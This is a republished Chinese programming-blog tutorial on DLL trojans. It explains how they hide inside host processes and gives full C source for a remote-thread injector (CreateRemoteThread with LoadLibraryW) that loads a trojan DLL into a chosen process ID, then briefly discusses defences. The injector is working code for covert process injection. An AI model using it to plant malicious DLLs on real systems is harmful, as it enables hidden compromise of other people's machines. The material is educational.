VC++动态链接库(DLL)编程(六)――DLL木马

本文涉及的产品
云防火墙,500元 1000GB
简介:
VC++ 动态链接库 (DLL) 编程(六)
―― DLL 木马
作者:宋宝华  e-mail:21cnbao@21cn.com
 
从前文可知, DLL 在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。 DLL 正是一种这样的武学。 DLL 一旦染上了魔性,就不再是正常的 DLL 程序,而是 DLL 木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。
 
8.1 DLL 木马的原理
DLL 木马的实现原理是编程者在 DLL 中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的 DLL ,最终达到侵袭目标系统的目的。
正是 DLL 程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:
1 DLL 程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源;
2 DLL 程序没有独立的进程地址空间,从而可以避免在目标主机中留下“蛛丝马迹”,达到隐蔽自身的目的。
DLL 木马实现了“真隐藏”,我们在任务管理器中看不到木马“进程”,它完全溶进了系统的内核。与“真隐藏”对应的是“假隐藏”,“假隐藏”木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程,但是“假隐藏”木马本质上还具备独立的进程空间。“假隐藏”只适用于 Windows9x 的系统,对于基于 WINNT 的操作系统,通过服务管理器,我们可以发现系统中注册过的服务。
DLL 木马注入其它进程的方法为远程线程插入。
远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以 DLL 的形式实现后,需要使用插入到目标进程中的远程线程将该木马 DLL 插入到目标进程的地址空间,即利用该线程通过调用 Windows API LoadLibrary 函数来加载木马 DLL ,从而实现木马对系统的侵害。
 
8.2 DLL 木马注入程序
这里涉及到一个非常重要的 Windows API ―― CreateRemoteThread 。与之相比,我们所习惯使用的 CreateThread API 函数只能在进程自身内部产生一个新的线程,而且被创建的新线程与主线程共享地址空间和其他资源。而 CreateRemoteThread 则不同,它可以在另外的进程中产生线程! CreateRemoteThread 有如下特点:
1 CreateRemoteThread CreateThread 多一个参数 hProcess ,该参数用于指定要创建线程的远程进程,其函数原型为:
HANDLE CreateRemoteThread(
  HANDLE hProcess,      // 远程进程句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  SIZE_T dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  DWORD dwCreationFlags,
  LPDWORD lpThreadId
);
2 )线程函数的代码不能位于我们用来注入 DLL 木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;
3 )不能把本进程的指针作为 CreateRemoteThread 的参数,因为本进程的内存空间与远程进程的不一样。
以下程序由作者 Shotgun DLL 木马注入程序简化而得(在经典书籍《 Windows 核心编程》中我们也可以看到类似的例子),它将 d 盘根目录下的 troydll.dll 插入到 ID 4000 的进程中:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
 
void  CheckError  ( int, int, char *);        // 出错处理函数
 
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD  fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR  pszLibFileRemote=NULL;
 
void main(int argc,char **argv)
{
    int iReturnCode;
    char lpDllFullPathName[MAX_PATH];
    WCHAR pszLibFileName[MAX_PATH]={0};
      
       dwRemoteProcessId = 4000;   
       strcpy(lpDllFullPathName, "d:\\troydll.dll");
       // DLL 文件全路径的 ANSI 码转换成 UNICODE
       iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
              lpDllFullPathName, strlen(lpDllFullPathName),
              pszLibFileName, MAX_PATH);
       CheckError(iReturnCode, 0, "MultByteToWideChar");
    // 打开远程进程
    hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | // 允许创建线程
              PROCESS_VM_OPERATION | // 允许 VM 操作
              PROCESS_VM_WRITE,       // 允许 VM
              FALSE, dwRemoteProcessId );   
    CheckError( (int) hRemoteProcess, NULL,
              "Remote Process not Exist or Access Denied!");
    // 计算 DLL 路径名需要的内存空间
    int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
    pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
              MEM_COMMIT, PAGE_READWRITE);
    CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
    // DLL 的路径名复制到远程进程的内存空间
    iReturnCode = WriteProcessMemory(hRemoteProcess,
        pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
    CheckError(iReturnCode, false, "WriteProcessMemory");
    // 计算 LoadLibraryW 的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
        GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
    // 启动远程线程,通过远程线程调用用户的 DLL 文件    
    hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
    CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
    // 等待远程线程退出
    WaitForSingleObject(hRemoteThread, INFINITE);
    // 清场处理
    if (pszLibFileRemote != NULL)
       {
        VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
       }
    if (hRemoteThread != NULL)
       {
              CloseHandle(hRemoteThread );
       }
    if (hRemoteProcess!= NULL)
       {
              CloseHandle(hRemoteProcess);
       }
}
 
// 错误处理函数 CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
    if(iReturnCode==iErrorCode)
       {
        printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
        // 清场处理
        if (pszLibFileRemote != NULL)
              {   VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
        }
              if (hRemoteThread != NULL)
              {
                     CloseHandle(hRemoteThread );
              }
        if (hRemoteProcess!= NULL)
              {
                     CloseHandle(hRemoteProcess);
              }
        exit(0);
    }
}
        DLL 木马注入程序的源代码中我们可以分析出 DLL 木马注入的一般步骤为:
1 )取得宿主进程(即要注入木马的进程)的进程 ID dwRemoteProcessId
2 )取得 DLL 的完全路径,并将其转换为宽字符模式 pszLibFileName
3 )利用 Windows API OpenProcess 打开宿主进程,应该开启下列选项:
a.PROCESS_CREATE_THREAD :允许在宿主进程中创建线程;
b.PROCESS_VM_OPERATION :允许对宿主进程中进行 VM 操作;
c.PROCESS_VM_WRITE :允许对宿主进程进行 VM 写。
4 )利用 Windows API VirtualAllocEx 函数在远程线程的 VM 中分配 DLL 完整路径宽字符所需的存储空间,并利用 Windows API WriteProcessMemory 函数将完整路径写入该存储空间;
5 )利用 Windows API GetProcAddress 取得 Kernel32 模块中 LoadLibraryW 函数的地址,这个函数将作为随后将启动的远程线程的入口函数;
6 )利用 Windows API CreateRemoteThread 启动远程线程,将 LoadLibraryW 的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整 DLL 路径作为线程入口函数的参数以另其启动指定的 DLL
7 )清理现场。
8.3 DLL 木马的防治
DLL 木马的原理和一个简单的 DLL 木马程序中我们学到了 DLL 木马的工作方式,这可以帮助我们更好地理解 DLL 木马病毒的防治手段。
    一 般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行 限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。
对于 DLL 木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的 DLL ,如果其中有一些莫名其妙的 DLL ,则可以断言这个进程是宿主进程,系统被植入了 DLL 木马。“道高一尺,魔高一丈”,现如今, DLL 木马也发展到了更高的境界,它们看起来也不再“莫名其妙”。在最新的一些木马里面,开始采用了先进的 DLL 陷阱技术,编程者用特洛伊 DLL 替换已知的系统 DLL 。特洛伊 DLL 对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统 DLL ;对于一些事先约定好的特殊情况, DLL 会执行一些相应的操作。
本文给出的只是 DLL 木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它资料。
 

此后将是本系列文章的最后一次连载,即读者来信与反馈。




 本文转自 21cnbao 51CTO博客,原文链接:http://blog.51cto.com/21cnbao/120762,如需转载请自行联系原作者



相关文章
|
2月前
|
存储 C++ UED
【实战指南】4步实现C++插件化编程,轻松实现功能定制与扩展
本文介绍了如何通过四步实现C++插件化编程,实现功能定制与扩展。主要内容包括引言、概述、需求分析、设计方案、详细设计、验证和总结。通过动态加载功能模块,实现软件的高度灵活性和可扩展性,支持快速定制和市场变化响应。具体步骤涉及配置文件构建、模块编译、动态库入口实现和主程序加载。验证部分展示了模块加载成功的日志和配置信息。总结中强调了插件化编程的优势及其在多个方面的应用。
297 67
|
2月前
|
安全 程序员 编译器
【实战经验】17个C++编程常见错误及其解决方案
想必不少程序员都有类似的经历:辛苦敲完项目代码,内心满是对作品品质的自信,然而当静态扫描工具登场时,却揭示出诸多隐藏的警告问题。为了让自己的编程之路更加顺畅,也为了持续精进技艺,我想借此机会汇总分享那些常被我们无意间忽视却又导致警告的编程小细节,以此作为对未来的自我警示和提升。
184 6
|
2月前
|
存储 搜索推荐 C++
【C++篇】深度剖析C++ STL:玩转 list 容器,解锁高效编程的秘密武器2
【C++篇】深度剖析C++ STL:玩转 list 容器,解锁高效编程的秘密武器
54 2
【C++篇】深度剖析C++ STL:玩转 list 容器,解锁高效编程的秘密武器2
|
2月前
|
安全 程序员 编译器
【C++篇】继承之韵:解构编程奥义,领略面向对象的至高法则
【C++篇】继承之韵:解构编程奥义,领略面向对象的至高法则
86 11
|
2月前
|
存储 C++ 容器
【C++篇】深度剖析C++ STL:玩转 list 容器,解锁高效编程的秘密武器1
【C++篇】深度剖析C++ STL:玩转 list 容器,解锁高效编程的秘密武器
55 5
|
2月前
|
编译器 C语言 C++
C++入门6——模板(泛型编程、函数模板、类模板)
C++入门6——模板(泛型编程、函数模板、类模板)
47 0
C++入门6——模板(泛型编程、函数模板、类模板)
|
2月前
|
算法 编译器 C++
【C++篇】领略模板编程的进阶之美:参数巧思与编译的智慧
【C++篇】领略模板编程的进阶之美:参数巧思与编译的智慧
84 2
|
2月前
|
存储 编译器 C++
【C++篇】引领C++模板初体验:泛型编程的力量与妙用
【C++篇】引领C++模板初体验:泛型编程的力量与妙用
42 2
|
2月前
|
程序员 C++
C++编程:While与For循环的流程控制全解析
总结而言,`while`循环和 `for`循环各有千秋,它们在C++编程中扮演着重要的角色。选择哪一种循环结构应根据具体的应用场景、循环逻辑的复杂性以及个人的编程风格偏好来决定。理解这些循环结构的内在机制和它们之间的差异,对于编写高效、易于维护的代码至关重要。
59 1
|
2月前
|
自然语言处理 编译器 Linux
【C++】巧用缺省参数与函数重载:提升编程效率的秘密武器
【C++】巧用缺省参数与函数重载:提升编程效率的秘密武器